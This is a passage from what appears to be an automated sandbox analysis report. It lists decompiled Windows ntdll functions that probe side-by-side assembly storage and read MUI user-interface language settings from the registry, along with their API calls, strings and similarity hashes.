memcpy.1105(00000000,00000010,00000000,00000040,?,?), ref: 6C03D0C5
RtlDosPathNameToRelativeNtPathName_U.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6C03D10B
ZwOpenFile.1105(?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6C03D185
memcpy.1105(00000010,?,?,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6C03D1C2
RtlFreeHeap.1105(?,00000000,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6C03D225
RtlDeleteBoundaryDescriptor.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6C03D261

Part of subcall function 6C00AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6C0302E9,00000000,?,6C01ECFB,6C0F84D8,6C0F84D8,6C0517F0,00000000,?,6C02F715,6C02F5C0,?), ref: 6C00AD43

ZwClose.1105(00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?), ref: 6C07AEFF
RtlFreeHeap.1105(?,00000000,?,00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6C07AF15

Strings

SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p, xrefs: 6C07AFD3
@, xrefs: 6C03D16E
SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING., xrefs: 6C07AE56
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6C07AF46
RtlpProbeAssemblyStorageRootForAssembly, xrefs: 6C07AFCE
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6C07AEB8
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed., xrefs: 6C07AE87

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeapmemcpy$Path$BoundaryCloseDeleteDescriptorFileNameName_OpenRelative
String ID: @$RtlpProbeAssemblyStorageRootForAssembly$SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p$SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.$SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx
API String ID: 1343436988-541586583
Opcode ID: 346bb00a5bef32ff47e510bb67a11163551ee9f5ad5b002dbc7a00bcda11f4a2
Instruction ID: b3c05baee8847aafbf0aaf52cb8bf6abd554b8c7887ed0b1e1c156ac753ecdd4
Opcode Fuzzy Hash: 346bb00a5bef32ff47e510bb67a11163551ee9f5ad5b002dbc7a00bcda11f4a2
Instruction Fuzzy Hash: F8C1D071941239EBDB248F59DC88BAAB7F4EF55704F2041E9E80CA7650D7349E81CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6C00EC9B, Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 320
nativememoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6C00EC9B(intOrPtr __ecx, signed int _a4, intOrPtr _a8, char* _a12, intOrPtr* _a16) {
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				long _v88;
				void* _v92;
				intOrPtr _v96;
				void* _v100;
				intOrPtr _v104;
				char _v108;
				long _v112;
				char _v116;
				char _v117;
				char _v120;
				signed int _v124;
				char _v125;
				char _v128;
				unsigned int _v132;
				signed int _v136;
				void* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* _v152;
				char _v156;
				void* _v168;
				void* _v172;
				void* _v180;
				void* _v192;
				void* _t107;
				void* _t108;
				void* _t119;
				void* _t126;
				WCHAR* _t135;
				char _t140;
				void* _t155;
				char* _t168;
				long _t169;
				void* _t174;
				char _t179;
				void* _t180;
				void* _t182;
				void* _t189;
				signed int _t191;
				void* _t193;
				signed int _t195;
				signed int _t197;
				void* _t199;

				_t199 = (_t197 & 0xfffffff8) - 0x74;
				_t168 = _a12;
				_v104 = __ecx;
				_v100 = 0;
				_v112 = 0;
				_v108 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t189 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t168 == 0 || _a16 == 0) {
					_t193 = 0xc000000d;
					goto L43;
				} else {
					_t195 = _a4;
					 *_t168 = 0;
					if(_t195 == 1 || _t195 == 0) {
						RtlInitUnicodeString( &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v116 = 0;
						_push( &_v84);
						_push(0x20019);
						_v80 = 0;
						_push( &_v116);
						_v72 = 0x40;
						_v68 = 0;
						_v64 = 0;
						if(E6C049600() >= 0) {
							_t126 = E6C00BAA0(_v116, _v112,  &_v124);
							_t189 = _v136;
							_t193 = _t126;
							if(_t193 != 0 || _t189 == 0) {
								_t179 = _v116;
								_t195 = _a4;
								goto L7;
							} else {
								goto L44;
							}
						} else {
							_t179 = 0;
							_v116 = 0;
							L7:
							if(_t195 == 1 && _t179 != 0 && E6C0BD191(_t179,  &_v125) >= 0) {
								asm("sbb eax, eax");
								_a4 = _t195 &  ~(_v125 - 0x00000001 & 0x000000ff);
							}
							_t185 = 0;
							_t180 = 0x2000000;
							_t193 = E6C00F108(0, _t179, _t179,  &_v108);
							if(_t193 < 0) {
								L45:
								 *_t168 = 1;
								goto L43;
							} else {
								if(_a4 != 1) {
									RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop\\MuiCached");
									_t193 = 0;
									_v40 = _v116;
									_v36 =  &_v100;
									_push( &_v44);
									_push(0x20019);
									_v128 = 0;
									_push( &_v128);
									_v44 = 0x18;
									 *((intOrPtr*)(_t199 + 0x80)) = 0x40;
									 *((intOrPtr*)(_t199 + 0x84)) = 0;
									 *((intOrPtr*)(_t199 + 0x88)) = 0;
									if(E6C049600() < 0) {
										 *_t168 = 1;
										L44:
										_t174 = 0;
										L17:
										_t115 = _a4;
										if(_a4 != 0 || _t189 != 0 &&  *((intOrPtr*)(_t189 + 4)) != _t174) {
											_t171 = _v104;
											L21:
											if(_t189 == 0) {
												_t189 = E6C017608(1, _t185 & 0xffffff00 | _t115 != 0x00000001, _t171);
												if(_t189 == 0) {
													_t193 = 0xc0000017;
												}
											}
											goto L23;
										} else {
											_t171 = _v104;
											_t119 = E6C0BE0E9(_v104, _t168,  &_v116);
											_t189 = _v124;
											_t193 = _t119;
											if(_t193 != 0) {
												L23:
												 *_a16 = _t189;
												L24:
												_t107 = _v88;
												if(_t107 == 0) {
													L48:
													_t169 = 0;
													L26:
													if(_v112 != 0) {
														_push(_v112);
														E6C0495D0();
														_v116 = _t169;
													}
													_t108 = _v100;
													if(_t108 != 0) {
														if(_t108 != 0xffffffff) {
															 *0x6bfe6cc4(_t108);
														}
														_v100 = _t169;
													}
													if(_v108 != 0) {
														_push(_v108);
														E6C0495D0();
													}
													goto L33;
												}
												_t169 = 0;
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t107);
												goto L26;
											}
											_t115 = _a4;
											goto L21;
										}
									}
									_t135 = L"MachinePreferredUILanguages";
									L15:
									RtlInitUnicodeString( &_v100, _t135);
									_push(_t180);
									_t185 =  &_v108;
									_t182 = E6C00F018(_v136,  &_v108,  &_v120, _t193,  &_v116);
									_t193 = 0xc0000034;
									if(_t182 != 0xc0000034) {
										_t140 = _v120;
										if(_t140 == 0) {
											goto L16;
										}
										if(_t182 != 0x80000005) {
											goto L48;
										}
										_t191 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t140 + 2);
										_v124 = _t191;
										if(_t191 == 0) {
											_t193 = 0xc0000017;
											goto L48;
										}
										_push(_t182);
										_t185 =  &_v120;
										_t193 = E6C00F018(_v148,  &_v120,  &_v132, _t191,  &_v128);
										if(_t193 < 0) {
											L42:
											_t189 = _v156;
											L43:
											if(_t193 != 0) {
												goto L24;
											}
											goto L44;
										}
										if(_v136 != 7) {
											if(_v136 == 1) {
												goto L41;
											}
											_t189 = _v156;
											_t174 = 0;
											_t193 = 0;
											 *_t168 = 1;
											goto L17;
										}
										L41:
										_t185 = _t191;
										_t193 = E6C0138A4(_v144, _t191, _v132 >> 1, 8, (0 | _v132 >> 0x00000001 != 0x00000000) + 2, 1,  &_v156);
										goto L42;
									}
									L16:
									_t174 = 0;
									 *_t168 = 1;
									_t193 = 0;
									goto L17;
								}
								_t155 = E6C00E420(_v108, _v112,  &_v124);
								_t189 = _v136;
								_t193 = _t155;
								if(_t193 == 0) {
									if(_t189 != 0) {
										goto L23;
									}
								}
								RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop");
								_t180 = 0;
								_v64 = _v116;
								_v60 =  &_v100;
								_push( &_v68);
								_push(0x20019);
								_v128 = 0;
								_push( &_v128);
								_v68 = 0x18;
								_v56 = 0x40;
								_v52 = 0;
								_v48 = 0;
								_t193 = E6C049600();
								if(_t193 < 0) {
									goto L45;
								}
								_t135 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t135 = L"PreferredUILanguagesPending";
								}
								_t193 = 0;
								goto L15;
							}
						}
					} else {
						_t193 = 0xc000000d;
						L33:
						return _t193;
					}
				}
			}

0x6c00eca3
0x6c00eca7
0x6c00ecae
0x6c00ecb2
0x6c00ecb6
0x6c00ecba
0x6c00ecbe
0x6c00ecc6
0x6c00ecca
0x6c00ecce
0x6c00ecd4
0x6c00ecd6
0x6c00ecdc
0x6c065952
0x00000000
0x6c00ecf3
0x6c00ecf3
0x6c00ecf6
0x6c00ecfb
0x6c00ed0f
0x6c00ed18
0x6c00ed20
0x6c00ed2a
0x6c00ed2e
0x6c00ed2f
0x6c00ed38
0x6c00ed3c
0x6c00ed3d
0x6c00ed45
0x6c00ed49
0x6c00ed54
0x6c0658d5
0x6c0658da
0x6c0658de
0x6c0658e2
0x6c0658ec
0x6c0658f0
0x00000000
0x00000000
0x00000000
0x00000000
0x6c00ed5a
0x6c00ed5a
0x6c00ed5c
0x6c00ed60
0x6c00ed63
0x6c065914
0x6c065918
0x6c065918
0x6c00ed71
0x6c00ed76
0x6c00ed80
0x6c00ed84
0x6c00f002
0x6c00f002
0x00000000
0x6c00ed8a
0x6c00ed8e
0x6c00ef03
0x6c00ef0c
0x6c00ef0e
0x6c00ef16
0x6c00ef1e
0x6c00ef1f
0x6c00ef28
0x6c00ef2c
0x6c00ef2d
0x6c00ef35
0x6c00ef40
0x6c00ef47
0x6c00ef55
0x6c00f007
0x6c00effb
0x6c00effb
0x6c00ee5a
0x6c00ee5a
0x6c00ee5f
0x6c00ee73
0x6c00ee77
0x6c00ee79
0x6c00ee8a
0x6c00ee8e
0x6c065983
0x6c065983
0x6c00ee8e
0x00000000
0x6c06595c
0x6c065962
0x6c065968
0x6c06596d
0x6c065971
0x6c065975
0x6c00ee94
0x6c00ee97
0x6c00ee99
0x6c00ee99
0x6c00ee9f
0x6c00f011
0x6c00f011
0x6c00eeb7
0x6c00eebc
0x6c00eebe
0x6c00eec2
0x6c00eec7
0x6c00eec7
0x6c00eecb
0x6c00eed1
0x6c00eed6
0x6c00eed9
0x6c00eed9
0x6c00eedf
0x6c00eedf
0x6c00eee8
0x6c06598d
0x6c065991
0x6c065991
0x00000000
0x6c00eee8
0x6c00eeac
0x6c00eeb2
0x00000000
0x6c00eeb2
0x6c06597b
0x00000000
0x6c06597b
0x6c00ee5f
0x6c00ef5b
0x6c00ee20
0x6c00ee26
0x6c00ee2b
0x6c00ee3b
0x6c00ee44
0x6c00ee46
0x6c00ee4d
0x6c00ef65
0x6c00ef6b
0x00000000
0x00000000
0x6c00ef77
0x00000000
0x00000000
0x6c00ef91
0x6c00ef93
0x6c00ef99
0x6c00f00c
0x00000000
0x6c00f00c
0x6c00ef9b
0x6c00efab
0x6c00efb4
0x6c00efb8
0x6c00efef
0x6c00efef
0x6c00eff3
0x6c00eff5
0x00000000
0x00000000
0x00000000
0x6c00eff5
0x6c00efbf
0x6c06593c
0x00000000
0x00000000
0x6c065942
0x6c065946
0x6c065948
0x6c06594a
0x00000000
0x6c06594a
0x6c00efc5
0x6c00efd0
0x6c00efed
0x00000000
0x6c00efed
0x6c00ee53
0x6c00ee53
0x6c00ee55
0x6c00ee58
0x00000000
0x6c00ee58
0x6c00eda1
0x6c00eda6
0x6c00edaa
0x6c00edae
0x6c065922
0x00000000
0x00000000
0x6c065928
0x6c00edbe
0x6c00edc7
0x6c00edc9
0x6c00edd1
0x6c00edd9
0x6c00edda
0x6c00ede3
0x6c00ede7
0x6c00ede8
0x6c00edf0
0x6c00edf8
0x6c00edfc
0x6c00ee05
0x6c00ee09
0x00000000
0x00000000
0x6c00ee13
0x6c00ee18
0x6c06592d
0x6c06592d
0x6c00ee1e
0x00000000
0x6c00ee1e
0x6c00ed84
0x6c0658be
0x6c0658be
0x6c00eeee
0x6c00eef6
0x6c00eef6
0x6c00ecfb

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6C00ED0F
ZwOpenKey.1105(?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6C00ED4D
RtlpLoadUserUIByPolicy.1105(?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6C00EDA1
RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6C00EDBE
ZwOpenKey.1105(00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019), ref: 6C00EE00
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?), ref: 6C00EE26
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6C00EEB2
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6C00EEC2
ZwClose.1105(?,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6C00EED9
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings), ref: 6C00EF03
ZwOpenKey.1105(?,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?), ref: 6C00EF4E
RtlAllocateHeap.1105(?,00000008,?,?,00000000,?,?,?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?), ref: 6C00EF8C
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6C065991

Strings

Control Panel\Desktop, xrefs: 6C00EDB4
Control Panel\Desktop\MuiCached, xrefs: 6C00EEF9
@, xrefs: 6C00EDF0
PreferredUILanguages, xrefs: 6C00EE13, 6C00EE20
@, xrefs: 6C00EF35
MachinePreferredUILanguages, xrefs: 6C00EF5B
PreferredUILanguagesPending, xrefs: 6C06592D
@, xrefs: 6C00ED3D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6C00ED05

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$Heap$AllocateFreeLoadPolicyRtlpUser
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3016148903-3532704233
Opcode ID: 02a4f8d6c253304a8f315ab80ba17c4c1f98df47c7267c3d68be6ad202060676
Instruction ID: 4177fc80c82fbf58facb1e310799d954ab521b333c514ad6c9abf04a821f7210
Opcode Fuzzy Hash: 02a4f8d6c253304a8f315ab80ba17c4c1f98df47c7267c3d68be6ad202060676
Instruction Fuzzy Hash: FEC17C726093559FE711CF29C440B5FB7E8BB88718F464A2EF8A4A7B50D730D908CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E9ED, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 258
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6C00E9ED(void* __ecx, void** __edx, intOrPtr _a4) {
				char _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				void* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v108;
				signed int _v112;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				signed int _v128;
				char _v132;
				void* _v136;
				void* _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				char _v153;
				signed int _v160;
				char _v168;
				void* _v169;
				signed int _v176;
				void* _v180;
				void* _v181;
				signed int _v184;
				void* _v188;
				void* _v192;
				void* _v196;
				void* _v204;
				void* _v212;
				intOrPtr _t110;
				void* _t114;
				void* _t134;
				void* _t145;
				void* _t156;
				void* _t158;
				void* _t160;
				intOrPtr _t161;
				void** _t177;
				void* _t180;
				char _t182;
				signed int _t183;
				void* _t185;

				_t185 = (_t183 & 0xfffffff8) - 0x9c;
				_t158 = __ecx;
				_t177 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t180 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_t182 = 0x18;
					_v132 = _t182;
					_v124 =  &_v148;
					_t166 = 0;
					_v168 = 0;
					_push( &_v132);
					_push(0x20019);
					_v128 = 0;
					_push( &_v168);
					_v120 = 0x40;
					_v116 = 0;
					_v112 = 0;
					if(E6C049600() >= 0) {
						_t166 = _v168;
						_t180 = E6C0BD208(_v168, _a4,  &_v153,  &_v140);
						__eflags = _t180;
						if(_t180 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E6C0495D0();
							}
							if(_v144 != 0) {
								_push(_v144);
								E6C0495D0();
							}
							_t110 = _v152;
							if(_t110 != 0 && _t110 != 0xffffffff) {
								 *0x6bfe6cc4(_t110);
							}
							if(_t180 < 0) {
								__eflags = _t177;
								if(_t177 == 0) {
									goto L19;
								}
								_t160 = _v128;
								__eflags =  *_t177 - _t160;
								if( *_t177 == _t160) {
									goto L19;
								}
								__eflags =  *_t177;
								if( *_t177 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *_t177);
								}
								goto L46;
							} else {
								if( *_t177 == 0) {
									_t114 = E6C00F2F0(1);
									 *_t177 = _t114;
									__eflags = _t114;
									if(_t114 != 0) {
										goto L19;
									}
									_t160 = _v128;
									_t180 = 0xc0000017;
									L46:
									 *_t177 = _t160;
								}
								L19:
								return _t180;
							}
						}
						__eflags = _t158 - 8;
						if(_t158 == 8) {
							_t166 = _v168;
							 *((char*)(_t185 + 0x13)) = 0;
							_t156 = E6C0BD191(_v168, _t185 + 0x13);
							__eflags = _t156;
							if(_t156 == 0) {
								__eflags =  *((char*)(_t185 + 0x13)) - 1;
								if( *((char*)(_t185 + 0x13)) == 1) {
									_t158 = 4;
								}
							}
						}
						_push(_v168);
						E6C0495D0();
						 *(_t185 + 0xc) =  *(_t185 + 0xc) & 0x00000000;
						_t182 = 0x18;
					}
					if(E6C00F108(0, _t166, _t166,  &_v160) < 0) {
						_v160 = _v160 & 0x00000000;
					}
					if(_t158 == 8) {
						__eflags = _v160;
						if(_v160 == 0) {
							goto L36;
						}
						RtlInitUnicodeString( &_v148, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v160 = _v160 & 0x00000000;
						 *(_t185 + 0x58) =  *(_t185 + 0x58) & 0x00000000;
						 *(_t185 + 0x5c) =  *(_t185 + 0x5c) & 0x00000000;
						_v112 = _v168;
						_t161 = 0x40;
						_v108 = _t185 + 0x20;
						_push( &_v116);
						_push(0x20019);
						_v116 = _t182;
						_push( &_v160);
						 *((intOrPtr*)(_t185 + 0x60)) = _t161;
						_t134 = E6C049600();
						__eflags = _t134;
						if(_t134 >= 0) {
							_t180 = E6C0BD208(_v160, _a4, _t185 + 0x1f,  &_v148);
							__eflags = _t180;
							if(_t180 >= 0) {
								goto L11;
							}
							_t182 = 0x18;
						}
						RtlInitUnicodeString(_t185 + 0x24, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v184 = _v184 & 0x00000000;
						_v84 = _v84 & 0x00000000;
						_v80 = _v80 & 0x00000000;
						 *((intOrPtr*)(_t185 + 0x64)) = _v176;
						 *((intOrPtr*)(_t185 + 0x68)) = _t185 + 0x20;
						_push(_t185 + 0x60);
						_push(0x20019);
						 *((intOrPtr*)(_t185 + 0x68)) = _t182;
						_push( &_v184);
						_v88 = _t161;
						_t180 = E6C049600();
						__eflags = _t180;
						if(_t180 >= 0) {
							goto L10;
						}
						__eflags = _t180 - 0xc0000034;
						goto L35;
					} else {
						if(_t158 != 4) {
							L10:
							_t180 = E6C00F1E4(_v184, _t177, _a4);
							goto L11;
						}
						if(_v160 == 0) {
							_t145 = 0xc0000034;
						} else {
							RtlInitUnicodeString( &_v148, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							_v52 = _v52 & 0x00000000;
							_v48 = _v48 & 0x00000000;
							_v64 = _v168;
							_v60 = _t185 + 0x20;
							_push( &_v68);
							_push(0x20019);
							_v68 = _t182;
							_push( &_v176);
							_v56 = 0x40;
							_t145 = E6C049600();
						}
						if(_t145 < 0) {
							RtlInitUnicodeString( &_v148, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							 *(_t185 + 0x94) =  *(_t185 + 0x94) & 0x00000000;
							 *(_t185 + 0xa0) =  *(_t185 + 0xa0) & 0x00000000;
							 *(_t185 + 0xa4) =  *(_t185 + 0xa4) & 0x00000000;
							 *((intOrPtr*)(_t185 + 0x98)) = _t185 + 0x20;
							_push( &_v44);
							_push(0x20019);
							_v44 = _t182;
							_push( &_v176);
							 *((intOrPtr*)(_t185 + 0xa8)) = 0x40;
							_t180 = E6C049600();
							if(_t180 < 0) {
								__eflags = _t180 - 0xc0000034;
								L35:
								if(__eflags != 0) {
									goto L11;
								}
								L36:
								_t180 = 0;
								goto L11;
							}
						}
						goto L10;
					}
				}
			}

0x6c00e9f5
0x6c00e9ff
0x6c00ea02
0x6c00ea04
0x6c00ea08
0x6c00ea0c
0x6c00ea10
0x6c00ea16
0x6c065857
0x00000000
0x6c00ea25
0x6c00ea27
0x6c00ea35
0x6c00ea3c
0x6c00ea41
0x6c00ea45
0x6c00ea49
0x6c00ea4f
0x6c00ea53
0x6c00ea54
0x6c00ea5d
0x6c00ea61
0x6c00ea62
0x6c00ea6a
0x6c00ea6e
0x6c00ea79
0x6c0657b3
0x6c0657c2
0x6c0657c4
0x6c0657c6
0x6c00eb97
0x6c00eb9c
0x6c00eb9e
0x6c00eba2
0x6c00eba2
0x6c00ebac
0x6c065861
0x6c065865
0x6c065865
0x6c00ebb2
0x6c00ebb8
0x6c00ebc0
0x6c00ebc0
0x6c00ebc8
0x6c06586f
0x6c065871
0x00000000
0x00000000
0x6c065877
0x6c06587b
0x6c06587d
0x00000000
0x00000000
0x6c065883
0x6c065886
0x6c065895
0x6c065895
0x00000000
0x6c00ebce
0x6c00ebd1
0x6c06589f
0x6c0658a4
0x6c0658a6
0x6c0658a8
0x00000000
0x00000000
0x6c0658ae
0x6c0658b2
0x6c0658b7
0x6c0658b7
0x6c0658b7
0x6c00ebd7
0x6c00ebdf
0x6c00ebdf
0x6c00ebc8
0x6c0657cc
0x6c0657cf
0x6c0657d1
0x6c0657d9
0x6c0657de
0x6c0657e3
0x6c0657e5
0x6c0657e7
0x6c0657ec
0x6c0657f0
0x6c0657f0
0x6c0657ec
0x6c0657e5
0x6c0657f1
0x6c0657f5
0x6c0657fa
0x6c065801
0x6c065801
0x6c00ea94
0x6c065807
0x6c065807
0x6c00ea9d
0x6c00ebe2
0x6c00ebe7
0x00000000
0x00000000
0x6c00ebf7
0x6c00ec00
0x6c00ec05
0x6c00ec0a
0x6c00ec0f
0x6c00ec19
0x6c00ec1a
0x6c00ec22
0x6c00ec23
0x6c00ec2c
0x6c00ec30
0x6c00ec31
0x6c00ec35
0x6c00ec3a
0x6c00ec3c
0x6c065827
0x6c065829
0x6c06582b
0x00000000
0x00000000
0x6c065833
0x6c065833
0x6c00ec4c
0x6c00ec55
0x6c00ec5a
0x6c00ec5f
0x6c00ec64
0x6c00ec6c
0x6c00ec74
0x6c00ec75
0x6c00ec7e
0x6c00ec82
0x6c00ec83
0x6c00ec8c
0x6c00ec8e
0x6c00ec90
0x00000000
0x00000000
0x6c065839
0x00000000
0x6c00eaa3
0x6c00eaa6
0x6c00eb87
0x6c00eb95
0x00000000
0x6c00eb95
0x6c00eab6
0x6c065850
0x6c00eabc
0x6c00eac6
0x6c00eacf
0x6c00ead4
0x6c00eadc
0x6c00eae4
0x6c00eaec
0x6c00eaf7
0x6c00eaf8
0x6c00eb01
0x6c00eb08
0x6c00eb09
0x6c00eb14
0x6c00eb14
0x6c00eb1b
0x6c00eb27
0x6c00eb2c
0x6c00eb35
0x6c00eb3d
0x6c00eb45
0x6c00eb4d
0x6c00eb5b
0x6c00eb5c
0x6c00eb65
0x6c00eb6c
0x6c00eb6d
0x6c00eb7d
0x6c00eb81
0x6c065841
0x6c065843
0x6c065843
0x00000000
0x00000000
0x6c065849
0x6c065849
0x00000000
0x6c065849
0x6c00eb81
0x00000000
0x6c00eb1b
0x6c00ea9d

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,6C0F66C0,0000EEEE,00000002), ref: 6C00EA35
ZwOpenKey.1105 ref: 6C00EA72

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

ZwClose.1105(6C0F66C0,?,?), ref: 6C0657F5

Part of subcall function 6C00F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6C0BCFA7,?,?,?), ref: 6C00F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration,?,?,?), ref: 6C00EAC6
ZwOpenKey.1105(00000000,00020019,?,?,?,?,?,?,?,?,?,?,?,?,?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration), ref: 6C00EB14
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6C00EB27
ZwOpenKey.1105(00000000,00020019,00000040,?,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6C00EB78
ZwClose.1105(00000000,?,?), ref: 6C00EBA2
ZwClose.1105(?,?,?), ref: 6C00EBC0
RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6C00EBF7
ZwOpenKey.1105(?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6C00EC35
RtlInitUnicodeString.1105(?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6C00EC4C
ZwOpenKey.1105(00000000,00020019,?,?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6C00EC87
ZwClose.1105(00000000,?,?), ref: 6C065865
RtlFreeHeap.1105(?,00000000,6C0171B4,?,?), ref: 6C065895

Strings

@, xrefs: 6C00EA62
Control Panel\Desktop\LanguageConfiguration, xrefs: 6C00EC42
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 6C00EB1D
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 6C00EABC
@, xrefs: 6C00EB09
@, xrefs: 6C00EB6D
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6C00EBED
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6C00EA2F

Memory Dump Source

